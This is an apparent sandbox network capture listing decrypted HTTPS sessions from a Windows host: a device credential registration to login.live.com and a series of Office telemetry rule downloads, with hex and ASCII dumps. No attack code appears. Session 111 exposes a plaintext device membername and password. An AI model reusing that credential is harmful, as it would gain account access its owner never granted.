2024-10-29 17:42:41 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49844	40.126.32.72	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:41 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-10-29 17:42:41 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 66 70 67 6e 71 6f 64 79 74 6a 76 72 6c 6e 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 50 3f 71 4f 66 4c 6b 3f 49 2a 34 45 32 73 68 6f 49 4f 64 74 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02fpgnqodytjvrln</Membername><Password>P?qOfLk?I*4E2shoIOdt</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-10-29 17:43:01 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Tue, 29 Oct 2024 17:41:55 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BAY x-ms-request-id: 384f57eb-d5a9-4e50-a49d-d7c4995ed930 PPServer: PPV: 30 H: PH1PEPF00011F57 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 17:43:01 GMT Connection: close Content-Length: 17166
2024-10-29 17:43:01 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 30 30 31 31 32 37 35 38 37 45 31 32 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 34 65 39 31 31 66 64 62 2d 30 32 65 32 2d 34 65 36 39 2d 38 61 35 63 2d 32 30 37 37 62 39 33 34 39 64 64 61 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018001127587E12</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="4e911fdb-02e2-4e69-8a5c-2077b9349dda" LicenseID="3252b20c-d425-4711
2024-10-29 17:43:01 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:41 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:41 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:41 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: fcac5f09-801e-007b-3f67-28e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174241Z-15b8d89586fdmfsg1u7xrpfws00000000b40000000008qdf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:41 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:41 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:41 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:41 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 6796a20d-a01e-00ab-565f-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174241Z-17c5cb586f6z6tw6g7cmdv30m800000008b0000000005b55 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:41 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:41 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:41 UTC	591	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:41 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: e1cf8e51-d01e-00a1-6880-2935b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174241Z-r197bdfb6b4bs5qf58wn14wgm000000005z0000000005vkt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-29 17:42:41 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:41 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:41 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:41 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3a798620-501e-00a0-0295-279d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174241Z-16849878b78j7llf5vkyvvcehs00000007x000000000m010 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:41 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:41 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:41 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:41 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 4e9c2d7b-a01e-0053-0a2e-278603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174241Z-15b8d89586fst84kttks1s2css00000000fg000000004dub x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:41 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:42 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:42 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:42 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: a3bf04aa-f01e-001f-636e-285dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174242Z-r197bdfb6b4d9xksru4x6qbqr000000006xg00000000c3su x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:42 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:42 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:42 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:42 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 92eac08a-601e-0001-29b2-26faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174242Z-16849878b78qg9mlz11wgn0wcc00000006h00000000024nv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:42 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:42 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:42 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:42 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: fbe9264b-c01e-0046-04f3-242db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174242Z-r197bdfb6b4hsj5bywyqk9r2xw00000008b0000000007u89 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:42 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:42 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:42 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:42 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 141f8a5a-601e-000d-3b74-272618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174242Z-16849878b786fl7gm2qg4r5y70000000071000000000vcb7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
